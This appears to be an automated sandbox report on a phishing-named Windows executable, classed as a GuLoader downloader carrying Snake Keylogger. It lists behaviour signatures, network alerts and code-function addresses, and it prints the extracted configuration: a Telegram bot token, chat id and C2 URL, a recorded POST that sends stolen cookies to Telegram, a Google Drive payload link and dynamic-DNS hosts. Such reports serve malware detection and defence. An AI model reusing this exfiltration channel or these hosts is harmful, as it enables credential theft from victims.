Edit tour

Windows Analysis Report
Request for Quote and Collaboration Docs.exe

Overview

General Information

Sample name:	Request for Quote and Collaboration Docs.exe
Analysis ID:	1567432
MD5:	1e5fbbef8f5ad057fc7b2210a2070e9b
SHA1:	f9246fe78392d446a5082f30e18e41aa5f63d825
SHA256:	405f0a54d76a3931ab40dd79b1119f906eb29ba1b09d5ddf64091136ca3e0344
Tags:	exeuser-abuse_ch
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates processes with suspicious names

Detected potential crypto function

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Request for Quote and Collaboration Docs.exe (PID: 6548 cmdline: "C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe" MD5: 1E5FBBEF8F5AD057FC7B2210A2070E9B)

Request for Quote and Collaboration Docs.exe (PID: 6484 cmdline: "C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe" MD5: 1E5FBBEF8F5AD057FC7B2210A2070E9B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendMessage"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s", "Chat_id": "2065242915", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.4005076815.0000000037732000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000003.3530300251.0000000039E91000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.3027175289.000000000793D000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Request for Quote and Collaboration Docs.exe PID: 6484	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Request for Quote and Collaboration Docs.exe PID: 6484	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T15:32:03.861859+0100	2803305	3	Unknown Traffic	192.168.2.6	49946	172.67.177.134	443	TCP
2024-12-03T15:32:06.049404+0100	2803305	3	Unknown Traffic	192.168.2.6	49952	172.67.177.134	443	TCP
2024-12-03T15:32:08.192940+0100	2803305	3	Unknown Traffic	192.168.2.6	49958	172.67.177.134	443	TCP
2024-12-03T15:32:10.393579+0100	2803305	3	Unknown Traffic	192.168.2.6	49965	172.67.177.134	443	TCP
2024-12-03T15:32:12.507493+0100	2803305	3	Unknown Traffic	192.168.2.6	49970	172.67.177.134	443	TCP
2024-12-03T15:32:14.616333+0100	2803305	3	Unknown Traffic	192.168.2.6	49976	172.67.177.134	443	TCP
2024-12-03T15:32:16.799890+0100	2803305	3	Unknown Traffic	192.168.2.6	49981	172.67.177.134	443	TCP
2024-12-03T15:32:18.992316+0100	2803305	3	Unknown Traffic	192.168.2.6	49987	172.67.177.134	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T15:31:59.184489+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:02.059523+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:04.293850+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:06.481350+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:08.621971+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:10.825072+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:12.934479+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:15.106307+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:17.231368+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49934	158.101.44.242	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T15:31:51.303955+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	49913	172.217.19.174	443	TCP

HTTP traffic detected: POST /bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065242915&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd137d6647c870Host: api.telegram.orgContent-Length: 1281

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 03 Dec 2024 14:32:20 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Request for Quote and Collaboration Docs.exe, 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Request for Quote and Collaboration Docs.exe, 00000000.00000000.2124616875.0000000000409000.00000008.00000001.01000000.00000003.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000003.3172812585.0000000006F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000376D6000.00000004.00000800.00020000.00000000.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000376C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000376C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en8q
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000376D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984400278.0000000006EA8000.00000004.00000020.00020000.00000000.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984400278.0000000006EE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984400278.0000000006EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/%
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984870430.0000000008B20000.00000004.00001000.00020000.00000000.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984400278.0000000006EE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1lgdW6QYobumFhnMWuJXQIs7wQ7eWkw80
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000003.3228935353.0000000006F23000.00000004.00000020.00020000.00000000.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984400278.0000000006F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984400278.0000000006F13000.00000004.00000020.00020000.00000000.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000003.3172812585.0000000006F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1lgdW6QYobumFhnMWuJXQIs7wQ7eWkw80&export=download
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000375AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000375AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000375AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.228
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000375DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.228$
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000003.3172812585.0000000006F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000003.3172812585.0000000006F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000003.3172812585.0000000006F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000003.3172812585.0000000006F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000003.3172812585.0000000006F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000003.3172812585.0000000006F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000003.3172812585.0000000006F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000003.3172812585.0000000006F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037708000.00000004.00000800.00020000.00000000.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000376F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000376F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/8q
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 172.217.19.174:443 -> 192.168.2.6:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.6:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49992 version: TLS 1.2

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Code function: 0_2_004052D3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052D3

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 0_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		0_2_0040335A
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		4_2_0040335A

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 0_2_00404B10	0_2_00404B10
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 0_2_0040653F	0_2_0040653F
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_00404B10	4_2_00404B10
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0040653F	4_2_0040653F
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0016C147	4_2_0016C147
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0016D278	4_2_0016D278
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_00165362	4_2_00165362
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0016C468	4_2_0016C468
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0016C738	4_2_0016C738
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0016E988	4_2_0016E988
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0016CA08	4_2_0016CA08
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0016CCD8	4_2_0016CCD8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_00169DE0	4_2_00169DE0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0016CFAB	4_2_0016CFAB
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_00166FC8	4_2_00166FC8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0016F974	4_2_0016F974
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0016E97B	4_2_0016E97B
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_001629E0	4_2_001629E0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_00163E09	4_2_00163E09
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0715B450	4_2_0715B450
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_07151B14	4_2_07151B14
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_07154958	4_2_07154958
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398A9548	4_2_398A9548
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398A2968	4_2_398A2968
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398A5028	4_2_398A5028
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AFC68	4_2_398AFC68
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398A17A0	4_2_398A17A0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398A0B30	4_2_398A0B30
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398A1E80	4_2_398A1E80
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AD999	4_2_398AD999
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AD9A8	4_2_398AD9A8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AD9A7	4_2_398AD9A7
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398ADDFF	4_2_398ADDFF
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398ADDF1	4_2_398ADDF1
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AD540	4_2_398AD540
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AD550	4_2_398AD550
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398ACCA0	4_2_398ACCA0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AD0F8	4_2_398AD0F8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AF802	4_2_398AF802
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398A9C18	4_2_398A9C18
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398A5018	4_2_398A5018
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398A0012	4_2_398A0012
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AF810	4_2_398AF810
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398A0040	4_2_398A0040
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398A178F	4_2_398A178F
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398A8BA0	4_2_398A8BA0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AF3B8	4_2_398AF3B8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AEB08	4_2_398AEB08
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398A0B20	4_2_398A0B20
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AEF60	4_2_398AEF60
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AE6AF	4_2_398AE6AF
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AE6A0	4_2_398AE6A0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AE6B0	4_2_398AE6B0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AEAF8	4_2_398AEAF8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398ADE00	4_2_398ADE00
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AE24A	4_2_398AE24A
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398AE258	4_2_398AE258
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398A1E70	4_2_398A1E70
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398C81D0	4_2_398C81D0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398C8FB0	4_2_398C8FB0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398C7B78	4_2_398C7B78
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398C818B	4_2_398C818B
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398C11A0	4_2_398C11A0
